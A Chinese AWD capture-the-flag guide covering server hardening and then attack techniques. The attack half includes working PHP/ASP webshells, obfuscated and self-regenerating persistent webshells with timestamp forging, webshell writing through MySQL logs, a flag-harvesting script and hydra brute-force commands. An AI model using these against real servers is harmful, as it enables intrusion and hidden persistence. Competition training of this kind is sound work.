AWD攻防比赛指导手册

水深无声 2024-02-17 13:08 46阅读 0赞

### 0\# 什么是AWD ###

#### 0.1\# AWD赛制介绍 ####

「 攻防模式 | AWD (Attack With Defense) 」 是 CTF比赛 「CTF Capture The Flag」 几种主要的比赛模式之一，该模式常见于线下赛。

在该模式中，每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox )，该环境通常运行着一些特定的服务或应用程序，而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞，获取 Flag 以获得积分; 同时，参赛队伍也需要修补自身服务漏洞进行防御，以防被其他队伍攻击和获取 Flag。

主要特点为：强调实战性、实时性、对抗性，综合考量竞赛队的渗透能力和防护能力。

#### 0.2\# 比赛整体流程 ####

*  赛前准备环节：我们会分配到多个靶机服务器，通常是分配给我们 `SSH` 或者 `VNC` 的用户名和密码，还有相关IP等信息
 *  安全加固环节：我们需要先自己去登录靶机服务器，进行30分钟的安全加固(源码备份/弱口令修改/代码审计和修复/漏洞修复等)
 *  自由攻击环节：安全加固时间过后，开始自由攻击环节，通过对别的队伍的靶机服务器进行攻击(弱口令/Web漏洞/系统漏洞等)获得Flag进行加分，对应队伍失分

### 1\# 比赛环境 ###

通常比赛环境有以下三种情况：

*  混合靶机情况：运维机器 `Windows 10` \+ 攻击机 `Kali Linux` \+ Win靶机 `Windows Server 2003/2008/2012` 或者 `Windows 7` \+ Linux靶机 `Centos7.x` 或者 `Ubuntu 16.04/17.01/20.04`
 *  纯Linux靶机情况：运维机器 `Windows 10` \+ 攻击机 `Kali Linux` \+ Linux靶机 `Centos7.x` 或者 `Ubuntu 16.04/17.01/20.04`
 *  纯Windows靶机情况：运维机器 `Windows 10` \+ 攻击机 `Kali Linux` \+ Win靶机 `Windows Server 2003/2008/2012` 或者 `Windows 7`

### 2\# 安全加固环节(Defense) ###

#### 2.0\# 基本加固流程 ####

##### 2.0.1 Windows加固流程 #####

先备份：Web源码、数据库

1.  445加固，开启防火墙或IP高级安全策略
2.  开启系统日志审计功能
3.  禁用guest账户、关闭文件共享
4.  确保启动项内容是可控的
5.  限制3389远程访问控制的连接数：在本地组策略编辑器里面，依次展开计算机配置-->管理模板-->Windows组件-->远程桌面服务-->远程桌面会话主机-->连接-->限制连接的数量
6.  使用工具监控关键目录文件:文件操作监控.exe、御剑文件监控.exe
7.  恶意代码文件，通过PCHunter、Monitor查找
8.  Web目录环境查找相关可疑文件：jpg/png/rar，查看属性、解压看文件内容
9.  NTFS扫描磁盘查找隐藏的交换流数据
10. 查找系统所有账户信息，禁止非Administrator账户
11. 修改Web站点管理员访问路径、默认口令、数据库口令
12. 安装WAF脚本，防护Web站点，禁止其他漏洞

##### 2.0.2 Linux加固流程 #####

先备份：Web源码、数据库

1.  系统口令修改，团队统一口令
2.  通过 `.bash_history` 查找历史命令操作，发现痕迹
3.  查看计划任务：`crontab -l`；编辑计划任务：`crontab -e`
4.  查看 `/etc/init.d/rc.local` 中启动服务有无异常
5.  使用脚本开启进程监控、目录监控、流量监控
6.  Web站点口令,站点管理员路径修改
7.  系统加固：iptable

#### 2.1\# 基本信息搜集 ####

在防守的时候，信息搜集也很重要，正所谓“知己知彼，百战不殆”

##### 2.1.1 明确Linux机器信息 #####

uname -a//系统信息
    ps -aux                        //查询进程信息
    ps -ef | grep 进程名称         //筛选指定进程
    id                             //用于显示用户ID，以及所属群组ID
    cat /etc/passwd                //查看用户情况 ls /home/ //查看用户情况 find / -type d -perm -002 //可写目录检查 ifconfig //Linux上查看网卡信息

##### 2.1.2 明确Windows机器信息 #####

whoami /all//Windows上查看用户详细信息
    ipconfig  /all                 //Windows上查看网卡信息

##### 2.1.3 查看开放端口 #####

netstat//查看活动连接
    netstat -ano/-a                                               //查看端口情况
    netstat -anp                                                  //查看端口
    firewall-cmd --zone= public --remove-port=80/tcp –permanent //关闭端口 firewall-cmd –reload //防火墙重启

##### 2.1.4 默认口令(弱口令)更改 #####

为了防范弱口令攻击，Mysql密码默认都是root，phpstudy默认密码123456

还有其他默认密码admin，top100， top1000等

**尤其是WEB应用的后台密码修改**

passwd username//ssh口令修改
    set password for mycms@localhost = password('18ciweufhi28746');  //MySQL密码修改 find /var/www//html -path '*config*’ //查找配置文件中的密码凭证

##### 2.1.5 找本地Flag #####

grep -r"flag" /var/www/html/  //Linux：在Web目录下查找flag
    findstr /s /i "flag" *.*       //Windows：当前目录以及所有子目录下的所有文件中查找"flag"这个字符串

##### 2.1.6 设置禁Ping #####

echo"1" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //临时开启禁ping
    echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //关闭禁ping

#### 2.2\# Web安全加固 ####

##### 2.2.1 备份源码 #####

防止在对源码进行修改时出问题，或者被攻击方删除源码而准备

压缩源码：

tar -cvf web.tar /var/www/html
    zip -q -r web.zip /var/www/html

解压缩源码：

tar -xvf web.tar -c /var/www/html
    unzip web.zip -d /var/www/html

备份源码：

mv web.tar /tmp
    mv web.zip /home/xxx

上传和下载源码：

scp username@servername:/path/filename /tmp/local_destination//从服务器下载单个文件到本地
    scp /path/local_filename username@servername:/path             //从本地上传单个文件到服务器
    scp -r username@servername:remote_dir/ /tmp/local_dir          //从服务器下载整个目录到本地
    scp -r /tmp/local_dir username@servername:remote_dir           //从本地上传整个目录到服务器

##### 2.2.2 设置只读权限 #####

对Web文件设置只读和执行权限(PHP等动态语言需要执行权限)

chmod0555 /var/www/html/*
    chmod 0555 /var/www/html/*.php

Web根目录设置只读和执行权限

chmod0555 /var/www/html

改变文件的属主和属组来设置严格的权限

chown -R root:root /var/www/html///设置拥有人为 root:root 或 httpd:httpd (推荐)
    chown -R apache:apache /var/www/html/    //确保 apache 拥有 /var/www/html/

##### 2.2.3 配置 `.htaccess` #####

利用 `.htaccess` 配置文件禁止php文件执行

<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
    Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
    AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。 RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml //这两个指令移除指定文件扩展名的处理器和类型。 //在这种情况下，这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。 php_flag engine off //这个指令将 PHP 的引擎标志(engine)设置为关闭状态，从而禁用了在该目录中执行 PHP 脚本的能力。 <FilesMatch ".+\.ph(p[3457]?|t|tml)$"> deny from all </FilesMatch> //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件，并将其访问权限设置为拒绝所有 </Directory>

##### 2.2.4 PHP参数安全配置 #####

首先找到PHP的配置文件

/etc/php/{version}/php.ini

禁用高危函数

disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

配置 `open_basedir` (将用户访问文件的活动范围限制在指定的区域)

open_basedir=/var/www/html

禁用魔术引号(自动对外部来源数据进行转义，防止SQL注入)

magic_quotes_gpc = Off

关闭PHP伪协议

allow_url_fopen = Off
    allow_url_include = Off

重启PHP

sudo service php7.0-fpm restart
    sudo systemctl restart php7.0-fpm.service

#### 2.3\# 数据库安全加固 ####

##### 2.3.1 Mysql加固 #####

为了防范弱口令攻击，Mysql密码默认都是root，phpstudy默认密码123456

1.  不使用默认口令，修改成复杂的，并确保和web环境连接
2.  设置只允许本地127.0.0.1账户登录：修改 `bind-address=127.0.0.1` ；在配置文件中加入 `seccure_file_priv=NULL`
3.  开启日志审计功能：`general_log_file=`路径

因为最常用的是Mysql数据库，所以基本的攻防大部分都是用MySql数据库的命令

备份指定数据库：

mysqldump –u username –p password databasename> target.sql

备份所有数据库：

mysqldump –all -databases > all.sql

导入数据库：

mysql –u username –p password database< from.sql

对于MySQL的攻防，可以看这篇文章：[https://blog.zgsec.cn/archives/26.html][https_blog.zgsec.cn_archives_26.html]

MySQL默认配置文件路径：

C:\\Program Files\MySQL\MySQLServer5.1\my.ini   //Windows
    /etc/my.cnf                                      //Linux
    /etc/mysql/my.cnf                                //Linux

修改 `secure_file_priv` 参数(日志功能的对应目录)

secure_file_priv=""

重载MySQL配置

FLUSH PRIVILEGES

重启MySQL服务

sudo service mysql restart
    sudo systemctl restart mysql

##### 2.3.2 Mssql加固 #####

1.  删除不必要的账号
2.  SQLServer用户口令安全
3.  根据用户分配帐号避免帐号共享
4.  分配数据库用户所需的最小权限
5.  网络访问限制
6.  SQLServer登录审计
7.  SQLServer安全事件审计
8.  配置日志功能

#### 2.4\# 远程控制加固 ####

##### 2.4.1 SSH安全加固 #####

限制IP登录方法

sudo nano /etc/ssh/sshd_config//以root权限编辑SSH配置文件
    AllowUsers username@192.168.0.100    //找到并编辑以下行，确保其取消注释并设置为所需的IP地址

禁用 `root` 远程登录

sudo nano /etc/ssh/sshd_config//以root权限编辑SSH配置文件
    PermitRootLogin no                   //将PermitRootLogi设置为“no”

按用户和组限制SSH登录

sudo nano /etc/ssh/sshd_config//以root权限编辑SSH配置文件
    AllowUsers testuser                  //设置只允许 testuser 登录SSH
    AllowUsers testuser@192.168.1.100 //设置只允许 192.168.1.100 的机器用 testuser 账户登录SSH AllowGroups test //设置用户组白名单 //需要注意的是：如果同时指定了 AllowUsers 与 AllowGroups 那么必须要在两个选项中都匹配到的用户才能进行SSH登录

重启SSH服务

sudo service sshd restart
    sudo systemctl restart sshd.service

##### 2.4.2 RDP远程登录安全加固 #####

删除默认帐户并手动添加新用户：

*  步骤1：按 `Win + R` 打开运行对话框，输入 `secpol.msc` 并单击 “确定”
 *  步骤2：导航至此处：本地策略-->用户权限分配，再双击打开 “允许通过远程桌面服务登录”
 *  步骤3：删除此窗口中列出的管理员和远程桌面用户(或计算机上的任何其他用户或组)
 *  步骤4：之后单击 “添加用户或组” 并手动添加您要授予远程桌面访问权限的用户

更改默认RDP端口号：

*  步骤1：打开运行对话框，输入 `regedit` 并单击 “确定”
 *  步骤2：打开 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp` ，向下滚动并找到 `PortNumber` 然后双击它
 *  步骤3：选择 “十进制”，修改为您想要设置的端口号，然后单击 “确定”

#### 2.5\# 应急响应 ####

##### 2.5.1 查询进程线程 #####

netstat
    ps -aux
    netstat -apt

##### 2.5.2 杀掉进程 #####

kill-9 pid            //Linux上
    taskkill /f /pid pid   //Windows上

##### 2.5.3 搜索WebShell文件 #####

find /var/www/html -name *.php -mmin-5                        //查看最近5分钟修改文件
    find ./ -name '*.php' | xargs wc -l | sort -u                  //寻找行数最短文件，一般有可能是一句话木马
    grep -r --include=*.php  '[^a-z]eval($_POST' /var/www/html //查包含关键字的php文件 find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more //在Linux系统中使用find、grep和xargs命令的组合，用于在指定目录(/var/www/html)下查找所有以.php为扩展名的文件，并搜索这些文件中包含字符串"eval("的行，并使用more命令来分页显示结果以便在输出较长时进行逐页查看

##### 2.5.4 查杀不死马 #####

也可以利用命令自动进行查找删除

ps -aux | grep www-data | grep -v grep | awk'{print $2}' | xargs kill -9

然后重启服务

service php-fpm restart

##### 2.5.5 杀弹反弹shell #####

老规矩查看进程

ps -ef
    px -aux
    ps -aux | grep www-data

注意 `www-data` 权限的 `/bin/sh`，很有可能是nc

再就是上老一套命令

kill ps -aux | grep www-data | grep apache2 | awk'{print $2}'

### 3\# 自由攻击环节(Attack) ###

#### 3.0\# 主要准备内容 ####

1.  各类CMS软件包最新版准备
2.  扫描工具：Nmap、Nessus、Metasploit更新
3.  漏洞利用脚本Poc、Exp

#### 3.1\# 基本信息搜集 ####

##### 3.1.1 主机信息搜集 #####

Nmap

namp -sn192.168.0.0/24            //C段存活扫描

httpscan

httpscan.py192.168.0.0/24 –t 10 //C段存活扫描

##### 3.1.2 端口扫描 #####

nmap -sV192.168.0.2               //扫描主机系统版本
    nmap -sS 192.168.0.2 //扫描主机常用端口 nmap -sS -p 80,445 192.168.0.2 //扫描主机部分端口 nmap -sS -p- 192.168.0.2 //扫描主机全部端口

Python脚本

import requests
    
    for x in range(2,255): url = "http://192.168.1.{}".format(x) try: r = requests.post(url) print(url) except: pass

#### 3.2\# 外部打点 ####

##### 3.2.0 常见系统漏洞 #####

*  MS17-010(永恒之蓝，可看[https://blog.zgsec.cn/archives/172.html][https_blog.zgsec.cn_archives_172.html])
 *  MySQL进行UDF提权(SQL注入或者MySQL弱口令)
 *  MsSQL进行系统命令执行(SQL注入或者MsSQL弱口令)
 *  SSH弱口令或默认口令
 *  PWN(这个要看具体AWD比赛提供的内容了)

##### 3.2.1 中间件漏洞 #####

*  IIS(解析漏洞、远程代码执行)
 *  Apache(解析漏洞)
 *  Nginx(解析漏洞)
 *  Jboss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)
 *  Mysql(弱口令)
 *  Tomcat(弱口令Getshell)
 *  Weblogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)
 *  SpringBoot(未授权访问漏洞和RCE漏洞，具体可看[https://blog.zgsec.cn/archives/129.html][https_blog.zgsec.cn_archives_129.html])

##### 3.2.2 集成服务环境漏洞 #####

*  wampserver
 *  xamppserver

##### 3.2.3 CMS漏洞利用 #####

搜集最新版本的CMS，以及对应的漏洞Poc和Exp，这里仅仅列举部分CMS：

*  Aspcms
 *  Dedecms
 *  Dicuz
 *  Drupal
 *  Empirecms
 *  Eshop
 *  Finecms
 *  Joomla
 *  Lamp
 *  Metainfo
 *  Phpcms
 *  Phpwind
 *  Qibocms
 *  Seacms
 *  Semcms
 *  ThinkPHP
 *  Wolfcms
 *  Wordpress
 *  Zabbix

备份文件爆破：使用7kbScan等目录扫描工具对Web系统进行爆破

##### 3.2.4 上传WebShell #####

常见一句话木马

PHP：<?php @eval($_POST['pass']);?> <?php eval($_GET['pass']); Asp： <%eval request ("pass")%> Aspx： <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

Get型木马

<?php eval($_GET['pass']);           //利用方式/shell.php?pass=eval($_POST[1]);

免杀马制作：[https://github.com/AabyssZG/WebShell-Bypass-Guide][https_github.com_AabyssZG_WebShell-Bypass-Guide]

<?=~$_='$<>/'^'{
            {
            {
            {';@${
            $_}[_](@${ $_}[__]); //执行GET传参 ?_=system&__=whoami 来执行whoami命令 <?=~$_='$<>/'^'{ { { {';$___='$+4(/' ^ '{ { { { {';@${ $_}[_](@${ $___}[__]); //执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell

隐藏的文件读取

<?php
    header(php'flag:'.file_get_contents('/flag'));

条件允许的话，将flag信息直接读取并返回到header头中，这样做不易被发现

##### 3.2.5 利用WebShell #####

curl(跟hackbar差不多)

C:\Users\admin>curl"http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');"
    //向shell.php文件里传入参数并返回结果

Python多端口传参

#coding=utf-8
    import requests
    
    url_head="http://192.168.182.130"   #网段
    url="" shell_addr="/upload/url/shell.php" #木马路径 passwd="pass" #木马密码 #port="80" payload = {passwd: 'System(\'cat /flag\');'} # find / -name "flag*" #清空上次记录 flag=open("flag.txt","w") flag.close() flag=open("flag.txt","a") for i in range(8000,8004): url=url_head+":"+str(i)+shell_addr try: res=requests.post(url,payload)#,timeout=1 if res.status_code == requests.codes.ok: result = res.text print (result) flag.write(result+"\n") else: print ("shell 404") except: print (url+" connect shell fail") flag.close()

##### 3.2.6 MySQL数据库利用 #####

具体可以看这篇文章：[https://blog.zgsec.cn/archives/26.html][https_blog.zgsec.cn_archives_26.html]

1、查看MySQL版本

show variables like '%version%';
    select version();      #这个只显示MySQL版本号

2、查看 `load_file()` 开启状态

show variables like '%secure%';       #这条可查看详细信息
    show global variables like '%secure_file_priv%';

3、查看日志功能是否开启和对应目录

SHOW VARIABLES LIKE 'general%';
    set global general_log = "ON"; set global general_log_file='/var/www/html/test.php'; #可以写入WebShell然后直接连接蚁剑 # 往日志里面写入 WebShell select '<?php @eval($_POST['AabyssTeam']);?>'; # 此时已经写到 test.php 文件当中了，注意这个要知道网站的具体路径才可以实现

小技巧：获取MySQL账户和对应密码Hash

# MySQL<= 5.6 版本
    select host, user, password from mysql.user; # MySQL >= 5.7 版本 select host,user,authentication_string from mysql.user;

##### 3.2.7 弱口令爆破 #####

爆破SSH密码

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh
    hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100
    hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 -s 40      //40是⽬标服务开放的端⼝

爆破FTP密码

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp
    hydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.100/

爆破RDP远程桌面密码

hydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V

爆破Telnet

hydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V

爆破MSSQL数据库

hydra -l sa -P 密码字典.txt 目标IP地址 mssql

爆破MySQL数据库

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql

#### 3.3\# 内网渗透 ####

##### 3.3.1 权限维持之不死马 #####

简单不死马：

<?php
    set_time_limit(0);   //PHP脚本限制了执行时间，set_time_limit(0)设置一个脚本的执行时间为无限长
    ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE，则忽略与用户的断开，脚本将后台运行 unlink(__FILE__); //删除自身 while(1) { file_put_contents('shell.php','<?php @eval($_POST["AabyssTeam"]);?>'); //创建shell.php sleep(0); //间隔时间 }

可以通过不断复写 `shell.php` 来达到该木马难以被使用的效果

防连接不死马：

<?php
    set_time_limit(0);   // 取消脚本运行时间的超时上限
    ignore_user_abort(1);  // while(1) { file_put_contents('shell.php','<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'); //创建shell.php sleep(0); } //passwd=AabyssTeam //POST传参：passwd=AabyssTeam&cmd=system('ls');

进阶不死马：

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = 'shell.php'; $code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2020-12-01 09:10:12" shell.php'); //修改时间，防止被删 usleep(5000); } ?> //passwd=AabyssTeam //POST传参：passwd=AabyssTeam&cmd=system('ls');

将这个文件上传到服务器，然后进行访问，会在该路径下一直生成一个名字为 `shell.php` 的WebShell文件

双重不死马：

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.login.php'; $file1 = '/admin/.register.php'; $code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2020-12-01 18:10:12" .login.php'); file_put_contents($file1,$code); system('touch -m -d "2020-12-01 18:10:12" /admin/.register.php'); usleep(5000); } ?> //passwd=AabyssTeam //POST传参：passwd=AabyssTeam&cmd=system('ls');

浏览器访问写入的WebShell，会自动生成两个不死马： `.login.php` 和 `/admin/.register.php`

##### 3.3.2 关键文件检索 #####

组件检索

find / -name"apaech2.conf"                 //检索Apache主配置文件
    find / -name "nginx.conf"                   //检索Nginx目录
    find / -path "*nginx*" -name nginx*conf //检索Nginx配置目录 find / -name "httpd.conf" //检索Apache目录 find / -path "*apache*" -name apache*conf //检索Apache配置目录

网站首页

find / -name"index.php"                    //定位网站目录
    find / -name "index.html"                   //定位网站目录

日志文件检索

/var/log/nginx/                           //默认Nginx日志目录
    /var/log/apache/                          //默认Apache日志目录
    /var/log/apache2/ //默认Apache日志目录 /usr/local/tomcat/logs //Tomcat日志目录 tail -f xxx.log //实时刷新滚动日志文件

##### 3.3.3 Linux提权 #####

查询系统版本信息命令：

cat /etc/issue
    cat /etc/*-release
    cat /etc/lsb-release
    cat /etc/redhat-release

查询内核版本信息命令：

uname -a
    uname -mrs
    cat /proc/version
    cat /etc/issue
    lsb_release -a
    hostnamectl  
    rpm -q kernel
    dmesg | grep Linux
    ls /boot | grep vmlinuz

查看系统环境变量命令：

cat /etc/profile
    cat /etc/bashrc
    cat ~/.bash_profile
    cat ~/.bashrc
    cat ~/.bash_logout
    envset

查看语言环境信息命令：

find / -name perl*
    find / -name python*
    find / -name gcc*
    find / -name ccset

查看文件上传环境信息命令：

find / -name wget
    find / -name nc*
    find / -name netcat*
    find / -name tftp*
    find / -name ftp

这里列举一些可用利用的提权漏洞：

*  CVE-2023-0386(Linux OverlayFS权限提升漏洞)
 *  CVE-2021-4034(Linux Polkit本地权限提升漏洞)
 *  CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 )
 *  CVE-2016-5195(脏牛，kernel 2.6.22 < 3.9 (x86/x64))
 *  CVE-2016-8655(Ubuntu 12.04、14.04，Debian 7、8)
 *  CVE-2017-1000367(sudo本地提权漏洞 )
 *  CVE-2016-1247(Nginx权限提升漏洞)
 *  CVE-2017-16995(Ubuntu16.04 kernel:4.14-4.4)

Kali命令查询：

searchsploit CentOS7
    searchsploit Ubuntu 16.04

提权Exploit寻找：

*  [http://www.exploit-db.com][http_www.exploit-db.com]
 *  [http://metasploit.com/modules/][http_metasploit.com_modules]
 *  [http://securityreason.com][http_securityreason.com]
 *  [http://seclists.org/fulldisclosure/][http_seclists.org_fulldisclosure]
 *  [https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main][https_gitlab.com_exploit-database_exploitdb-bin-sploits_-_tree_main]

编译提权Exp

gcc -o /usr/share/nginx/html/***** /usr/share/nginx/html/*****.c -Wall

直接提权，确认权限：

cat /etc/shadow

其他提权姿势：[https://www.freebuf.com/articles/system/244627.html][https_www.freebuf.com_articles_system_244627.html]

##### 3.3.4 Windows提权 #####

这里列举一些Windows的漏洞：

*  各种Potato(Github上面基本都有)
 *  CVE-2023-35359(Windows内核权限提升漏洞，开源了)
 *  CVE-2022-24521(没有Exp的可以找我要)
 *  CVE-2019-1405
 *  CVE-2019-1322

MS17-017(整型溢出漏洞)

转载于原文： [https://forum.butian.net/share/2536][https_forum.butian.net_share_2536]

[https_blog.zgsec.cn_archives_26.html]: https://blog.zgsec.cn/archives/26.html
[https_blog.zgsec.cn_archives_172.html]: https://blog.zgsec.cn/archives/172.html
[https_blog.zgsec.cn_archives_129.html]: https://blog.zgsec.cn/archives/129.html
[https_github.com_AabyssZG_WebShell-Bypass-Guide]: https://github.com/AabyssZG/WebShell-Bypass-Guide
[http_www.exploit-db.com]: http://www.exploit-db.com/
[http_metasploit.com_modules]: http://metasploit.com/modules/
[http_securityreason.com]: http://securityreason.com/
[http_seclists.org_fulldisclosure]: http://seclists.org/fulldisclosure/
[https_gitlab.com_exploit-database_exploitdb-bin-sploits_-_tree_main]: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main
[https_www.freebuf.com_articles_system_244627.html]: https://www.freebuf.com/articles/system/244627.html
[https_forum.butian.net_share_2536]: https://forum.butian.net/share/2536